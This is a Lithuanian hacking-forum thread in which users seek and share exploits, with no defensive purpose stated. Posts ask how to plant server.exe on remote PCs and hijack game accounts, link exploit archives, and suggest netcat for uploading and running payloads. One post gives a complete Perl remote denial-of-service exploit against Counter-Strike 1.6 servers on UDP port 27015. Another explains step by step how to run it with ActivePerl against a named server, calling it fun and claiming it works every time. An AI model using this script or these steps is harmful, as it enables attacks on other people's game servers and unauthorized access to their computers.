Exploit

[Lioniax]

gal zinot kas exploita kuris i keltu server.exe failiuka i kito pc tik ne lane ta prasme kad ir i kita miesta ?

Pasiskaitinek visas cia sukurtas temas, tikrai suzinosi daug ka naudinga. Tai atlikes, dar karta perskaityk savo klausima.

[DF]

http://www.rst.void.ru/download/r57ipb2.txt
Cia yra ipb exploitas.Jame yra palikta speciali klaida (kitaip tarent apsauga nuo perl nesigaudanciu zmoniu) pripazystu ir as esu vaikas kuris tuose dalykuose nesigaudo...bet tiesiog man privalu ismokti Perl kodavimo ir t.t. tai norejau paprasyti jai kas nusimanot apie tai nuorodykite siek tiek kur galetu slipeti ta exploito klaida [/code]

[GODhack]

gal zinot kas exploita kuris i keltu server.exe failiuka i kito pc tik ne lane ta prasme kad ir i kita miesta ?

http://www.project-69.com/lager/exploit ... ion0-4.rar
Paprastai po sploito paleidimo duoda netcat klausymasi ant porto kaskokio(atvira porta) tai tau pirma reiks pramokt DOS ir NETCAT ir kaip su situ geriu ikelt server.exe ir paleist apie tai parasiau spec. temos yra.

Ir atsimink kad exploitas yra skirtas labai konkriaciai programos/operacines versijai. Is tu exploitu rare kur linkas jei hakisi kaimynus turetum rast tinkamu, bet realiai tai ten pasene ir jei kompas gerai updeitintas tai nieks nevyks.

Dar ismegink "autohakerius"(tam paciam rare) tai sumazina reikala rasyt tekstines komandas.

[XeroXas]

Dabar man atskirai paaiskinkit...

Tarkim turiu koda exploito as ji sukonvertinau ir kaip man dabar ji panaudot?

Jis tipo gausis .exe failas ane?

Be to gal kas zinot expliota wap raidinui zaidimui nulauzt ta prasme jo accountu arba i admino teises

[DF]

Dabar man atskirai paaiskinkit...

Tarkim turiu koda exploito as ji sukonvertinau ir kaip man dabar ji panaudot?

Jis tipo gausis .exe failas ane?

Be to gal kas zinot expliota wap raidinui zaidimui nulauzt ta prasme jo accountu arba i admino teises

Nesukonvertinau ,o sukompiliavau.
Jai galbat apie injection exploitus tai viskas vyksta taip labai tingiu aiskinti.
Tai idejau foto tai dar net geriau 80% zmoniu atminties yra regimoji.



BEt turbut jaigu bandysi leisti si sploita jo paleidimo pabaigoje neisvysi Admino hesh'o o tik 32 **************************** .Exploituose buna paliktos specialos klaidos kurios savotiskai yra apsauga nuo vaiku tokie kaip mes..ai nu uz visus nekalbu .AS.JAigu klaida kode issitaisa vualia viskas veikia ir exploito darbo pabaigoje isvystam Hash:98dsa5sad65asd56ad5sa56das .(cia pvz.)

[XeroXas]

Dabar man atskirai paaiskinkit...

Tarkim turiu koda exploito as ji sukonvertinau ir kaip man dabar ji panaudot?

Jis tipo gausis .exe failas ane?

Be to gal kas zinot expliota wap raidinui zaidimui nulauzt ta prasme jo accountu arba i admino teises

Nesukonvertinau ,o sukompiliavau.
Jai galbat apie injection exploitus tai viskas vyksta taip labai tingiu aiskinti.
Tai idejau foto tai dar net geriau 80% zmoniu atminties yra regimoji.



BEt turbut jaigu bandysi leisti si sploita jo paleidimo pabaigoje neisvysi Admino hesh'o o tik 32 **************************** .Exploituose buna paliktos specialos klaidos kurios savotiskai yra apsauga nuo vaiku tokie kaip mes..ai nu uz visus nekalbu .AS.JAigu klaida kode issitaisa vualia viskas veikia ir exploito darbo pabaigoje isvystam Hash:98dsa5sad65asd56ad5sa56das .(cia pvz.)

Sitas expliotas tai tipo forumui nulauzt kiek suprantu? Bet jai klaida paliekama tai kokia kalba jie rasomi?

[DF]

Sitas exploitas yra parasytas Perl kalba.

[Xgreem]

qrw man neivienas exploitas nesikompiliuoja perl kalba..klaidos klaidos klaidos...
nesamone kaskokia.

[DF]

qrw man neivienas exploitas nesikompiliuoja perl kalba..klaidos klaidos klaidos...
nesamone kaskokia.

Tai gal ne su perl kompiliatorium kompiliuoji

[GODhack]

Dw nespeliojam o tegu screenshota ideda ka jis ten daro ir tada aisq bus.

[koksas]

Kodas: Pasirinkti visus

#!/usr/bin/perl
# Server must not be running steam. /http://www.ultimatewarez.tk
 
 
# Half-Life engine remote DoS exploit
# bug found by Firestorm
# tested against cstrike 1.6 Windows build-in server, cstrike 1.6 linux dedicated server
use IO::Socket;
die "usage: ./csdos <host>" unless $ARGV[0];
$host=$ARGV[0];
 
if (fork())
{ econnect($host); }
else
{ econnect($host); };
exit;
 
sub econnect($)
{
my $host=$_[0];
my $sock = new
IO::Socket::INET(PeerAddr=>$host,PeerPort=>'27015',Proto=>'udp');
die "Could not create socket: $!\n" unless $sock;
$cmd="\xff\xff\xff\xff";
syswrite $sock, $cmd."getchallenge";
 
sysread $sock,$b,65535; print $b,"\n";
@c=split(/ /,$b);
 
$c2=$c[1];
 
$q=$cmd."connect 47 $c2 \"\\prot\\4\\unique\\0\\raw\\valve\\cdkey\\f0ef8a36258af1bb64ed866538c9db76\"\"\\\"\0\0";
print '>',$q,"\n";
syswrite $sock, $q;
sysread $sock,$b,65535; print $b,"\n";
sleep 3;
close $sock;
}

Gal kas galetumet paaiskinti kaip paleisti toki CS serverio isjungimo exploita?
Zn kad reik perl zn kad reik kompiliuoti bet nzn kaip viska padaryti ir sudelioti!
Gal GODhack galetum pamokyt kaip viska pasidaryti nuo to ka rashyti DoS iki pacio paleidimo? Atsiprashau bet skaitydamas prieshais esancius postus supratau tik ta ka parashiau virsuje

Ir dar jai reik ka nors parsisiusti gal galite numesti linkus
Dekui

[Comad]

sita jau seniai naudoju .. linksma daiktas .. pamokysiu :} labai lengva.. instaluoji ActivePerl , issaugai exploita *.pl pletiniu eini i RUN(windows) ir rasai, tarkim :

D:/perl/bin/perl.exe D:/perl/cs16.pl cs.rietavas.net

[kelias iki perl direktorijos] [ kelias iki perl scripto] ip adresas

100 % veikia, kas neaisku klausk

[koksas]

sita jau seniai naudoju .. linksma daiktas .. pamokysiu :} labai lengva.. instaluoji ActivePerl , issaugai exploita *.pl pletiniu eini i RUN(windows) ir rasai, tarkim :


D:/perl/bin/perl.exe D:/perl/cs16.pl cs.rietavas.net

[kelias iki perl direktorijos] [ kelias iki perl scripto] ip adresas

100 % veikia, kas neaisku klausk

Vo dbr paaiskejo biski tik gali linka duot is kur parsisiust activeperl

[brain5ide]

Google?

[Comad]

http://www.google.lt/search?hl=lt&q=act ... A1ka&meta=